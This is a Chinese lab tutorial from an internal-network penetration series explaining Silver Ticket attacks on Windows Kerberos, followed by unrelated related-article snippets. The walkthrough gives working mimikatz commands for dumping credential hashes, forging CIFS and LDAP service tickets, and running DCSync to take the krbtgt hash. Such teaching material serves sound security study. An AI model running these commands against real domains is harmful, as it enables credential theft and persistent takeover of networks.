网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式

news2024/9/17 8:30:55

系列文章第一章节之基础知识篇

内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名

系列文章第二章节之内网信息收集篇

内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位

系列文章第三章节之Windows协议认证和密码抓取篇

内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式

注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!

Silver Ticket白银票据制作原理及利用方式

服务账号介绍

服务账号就是计算机名字+$,是用来管理服务的账号

白银票据原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。 在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

在这里插入图片描述

我们以去动物园举例:

在这里插入图片描述

实验内容

实验环境

实验机器IP地址
windows server 2012 (域控)192.168.41.10
windows server 2008(域内成员)192.168.41.20
windows server 2003(域内成员)192.168.41.30

实验前提

1、已经控制了域控并且使用域管理员登录或者是已经提权的system用户权限

在这里插入图片描述

我们的目的是去访问windows server 2003 的机器

需要的前提条件如下:

1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名

实验步骤

控制域控

1、控制域控并获取基本信息

shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域

在这里插入图片描述
在这里插入图片描述

得到域名为:hack.com SID:S-1-5-21-3435113289-1855702322-4007071888

2、获取域控Windows 2012(DC$)服务账号的NTLM hash值

mimikatz sekurlsa::logonpasswords

在这里插入图片描述

得到DC$服务账户的NTLM hash值为:0e78169a8703c99ec788dca0c23193b1

现在我们模拟域管理员发现了我们留在域控上的恶意程序,并且把我们的恶意程序干掉了,导致我们失去了对域控的权限,并且把krbtgt账户的hash值改了,导致我们无法利用黄金票据恢复对域控的权限了,但好在现在我们还控制着一个Windows 2008机器,不过是一个普通用户权限

在这里插入图片描述

3、windows 2008清除票据,防止票据冲突

mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票

在这里插入图片描述
在这里插入图片描述

4、在windows 2008机器上伪造票据(CIFS共享服务)

mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-3435113289-1855702322-4007071888 /target:dc.hack.com /service:cifs /rc4:0e78169a8703c99ec788dca0c23193b1 /user:abcd /ptt

在这里插入图片描述
5、Windows 2008访问域控

shell dir \\dc.hack.com\c$

在这里插入图片描述

到这一步,我们也仅仅只是做到了访问域控,离重新控制域控还差了十万八千里,这里就有人要问了,既然我都有可以访问域控的权限了,那我是不是也可以跟黄金票据中用计划任务重新上线的方式一样,重新上线域控呢?答案是不行的,这就是黄金票据和白银票据的差距了,
计划任务中很重要的一环就是复制恶意程序,但是在白银票据的前提条件下,我们使用复制命令权限和使用计划任务的权限是不够的,这也就断绝了我们使用计划任务上线域控的可能性了

在这里插入图片描述

那这种情况下该怎么办呢?我们可以试着去重新读取管理员更改后的krbrtgt账户的hash

这时我们虽然建立了CIFS共享服务的白银票据,但我们发现如果用CIFS共享服务的白银票据去读取krbrtgt账户的NTLM hash权限是不够的,所以我们就得利用LDAP共享服务建立的白银票据

在这里插入图片描述

6、在Windows 2008机器上伪造票据(LDAP共享服务)

mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票

在这里插入图片描述

在这里插入图片描述

mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-3435113289-1855702322-4007071888 /target:dc.hack.com /service:LDAP /rc4:0e78169a8703c99ec788dca0c23193b1 /user:abcd /ptt

在这里插入图片描述
7、查询域控的krgtgt

mimikatz lsadump::dcsync /dc:dc.hack.com /domain:hack.com /user:krbtgt

在这里插入图片描述

这时我们终于得到了krbrtgt账户的NTLM hash,接下来就可以利用上一篇文章所讲的黄金票据重新拿回域控了,详细请看上一篇文章

控制windows 2003

1、域控获取基本信息

shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域

在这里插入图片描述

得到域名为:hack.com SID:S-1-5-21-2716900768-72748719-3475352185

2、获取Windows 2003(pc-2003$)的服务账号的NTLM hash值

mimikatz sekurlsa::logonpasswords

在这里插入图片描述
得到 hash 1a4c65ba0926944b4066f6fcdcf05bbd

3、Windows 2008伪造票据(CIFS共享服务)

mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票
mimikatz kerberos::golden /domain:hack.com /sid:S‐1‐5‐21‐2716900768‐72748719‐3475352185 /target:PC‐2003.hack.com /service:cifs /rc4:1a4c65ba0926944b4066f6fcdcf05bbd /user:abc /ptt

在这里插入图片描述
4、Windows 2008访问Windows 2003

shell dir \\pc‐2003.hack.com\c$

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/342470.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

知识图谱业务落地技术推荐之国内知识图谱平台汇总(竞品)[阿里、腾讯、华为等】

各位可以参考国内知识图谱平台产品进行对技术链路搭建和产品参考提供借鉴。

2.4G-WiFi连接路由器过程

一、概述 WiFi的数据通信基于802.11协议进行,无线AP在工作时会定时向空中发送beacon数据包,基站(STA)从beacon中解析出AP的名称、加密方式等信息,从而发起连接。 二、WiFi连接路由器的详细过程 WiFi连接过程主要可以…

tomcat打debug断点调试

windows debug调试 jdk版本:1.8.0_181 tomcat版本:apache-tomcat-9.0.68.0 idea版本:2020.1 方法一 修改catalina.bat 在%CATALINA_HOME%\bin\catalina.bat中找到 set “JAVA_OPTS%JAVA_OPTS% -Djava.protocol.handler.pkgsorg.apache…

TIOBE 2 月编程语言榜:C++ 势不可挡

继上个月,C 摘得 TIOBE 2022 年度最佳编程语言奖项之后,其发展势头仍然保持强劲。放眼整个编程语言榜单中,只有 C 突破了 2 字开头的增幅,其同比增幅为 5.93%,其次便是 C 以 1.31% 的增长趋势排在第二位。 在本月 Top …

U盘文件如何恢复?u盘还原,必学的4招(2023已更新)

移动U盘是大家经常使用的存储工具,它可以帮助我们保存各种文件数据。在学习和工作中,U盘文件丢失的原因五花八门。遇到U盘文件丢失该怎么办?u盘格式化了怎样恢复?u盘还原,我们必须要学习的4招! 第一招&…

如何提高短视频的播放量-4个技巧

做短视频自媒体,点击率是第一位,点击量越多,粉丝也就越多。可是,怎么才能增加短视频的点击率和提高播放量呢?今天就来教大家4个技巧: 1、蹭热点 热门话题自带流量,它的热度和价值,是…

IDEA配置部署tomcat详细步骤(maven web 和Javaweb)

目录 读者手册 一、概念与准备工作 (一)概念 (二)准备工作 (三)IDEA配置tomcat服务器(maven web项目演示) ( 四)Javaweb项目创建tomcat演示 读者手册 读…

ChatGPT是什么?怎么用?怎么帮我们提效?怎么基于此创业?

我花了几天时间系统的研究了ChatGPT的原理、应用、实践、以及我交流群里大家的反馈。 总结一句话:要么拥抱ChatGPT,要么被ChatGPT干掉,就这么简单。 ChatGpt是什么? ChatGPT是由OpenAI开发的,目前可以免费注册和使用…

一文了解 ArrayList 的扩容机制

了解 ArrayList 在 Java 中常用集合类之间的关系如下图所示: 从图中可以看出 ArrayList 是实现了 List 接口,并是一个可扩容数组(动态数组),它的内部是基于数组实现的。它的源码定义如下: public class A…

漫谈广告机制设计 | 从维纳斯的七个香吻说起

情人节就要来了,节日快乐,让我们从一段浪漫的爱情故事开始。维纳斯的七个香吻-最早的广告费传说在古罗马一个小国,国王有一个女儿叫普绪喀,长得很漂亮,以至于被人们认为是爱神维纳斯下凡,而不再去供奉真正的…

DM8:DMDSC共享存储集群搭建-共享存储绑定

DM8:DMDSC共享存储集群搭建-共享存储绑定环境介绍:1 发现共享磁盘2 对共享存储进行分区格式化2.1 格式化成功但不可用2.2 解决问题修改错误的分区格式3 配置/etc/rc.d/rc.local3.1 编辑文件(两个节点配置相同)3.2 使rc.local生效4 重启操作系…

cadence SPB17.4 S032 - allegro - 保存/载入光绘层定义

文章目录cadence SPB17.4 S032 - allegro - 保存/载入光绘层定义概述保存光绘层在新板子中载入已经保存的相同类型老板子定义好的光绘层定义文件碎碎念ENDcadence SPB17.4 S032 - allegro - 保存/载入光绘层定义 概述 以前布线完成, 准备出板厂文件时, 总是要手工重新建立光绘…

如何在40岁退休?

如何在40岁退休? 我以前在高校工作,很多老师最关心一件事,就是何时退休。 现在有很多消息,官方渠道都透露,退休年龄将推迟,具体方案年底就会出台。一个人以后要工作更长的年限,才会退休。 表面上…

CSP Bypass-low 通关详解

1、从这里跨域看到&#xff0c;我们跨域引用外部的Js脚本&#xff0c;它会自动包含并使用 2、此时我们在另外一个web服务器上写下一个csp.html脚本&#xff0c;用来做弹窗&#xff0c;脚本内容写&#xff1a; <!DOCTYPE html> <html lang"en"> <head…

【电商开发手册】订单-下单

下单需求 所谓下单&#xff0c;本质上就是买卖双方通过确认一系列信息并且签订电子合同的过程 在电商平台的下单过程中&#xff0c;也需要确定买卖双方的一系列信息&#xff1a; 买方&#xff1a;用户确认收货地址、支付方式、配送方式等等 卖方&#xff1a;卖方需要进行供…

一文详解工业知识模型互联平台MoHub

1月8日&#xff0c;MWORKS 2023产品发布会落下帷幕。会上&#xff0c;同元软控隆重推出了云原生的工业知识模型互联平台MoHub&#xff0c;引起广泛关注。本文将从服务定位、架构方案、核心服务、持续运营等方面对MoHub平台进行全面介绍。1 MoHub平台的服务定位装备数字化的必要…

C语言学习笔记-命令行参数

在图形界面普及之前都使用命令行界面。DOS和UNIX就是例子。Linux终端提供类UNIX命令行环境。 命令行&#xff08;command line&#xff09;是在命令行环境中&#xff0c;用户为运行程序输入命令的行。命令行参数&#xff08;command-line argument&#xff09;是同一行的附加项…

概率统计之概率篇

概率统计之概率篇 一 随机变量及其四种研究方法 为了更深入地研究随机现象&#xff0c;需要把随机试验的结果数量化&#xff0c;也就是要引进随机变量来描述随机试验的结果。 一般地&#xff0c;把表示随机现象的各种结果或描述随机事件的变量叫做随机变量。随机变量通常用大…

Java-Deque和Queue的使用、辨析和实战案例

0.前言 在数据结构与算法中&#xff0c;队列是被经常使用的一种数据结构&#xff0c;总体上构成较为简单&#xff0c;但是Java在实际使用时易用错&#xff0c;经常会。比如 poll() 方法&#xff0c;add() 方法&#xff0c;offer() 方法&#xff0c;addFirst()方法&#xff0c;r…

论文投稿指南——中文核心期刊推荐(石油、天然气工业 3)

【前言】 &#x1f680; 想发论文怎么办&#xff1f;手把手教你论文如何投稿&#xff01;那么&#xff0c;首先要搞懂投稿目标——论文期刊 &#x1f384; 在期刊论文的分布中&#xff0c;存在一种普遍现象&#xff1a;即对于某一特定的学科或专业来说&#xff0c;少数期刊所含…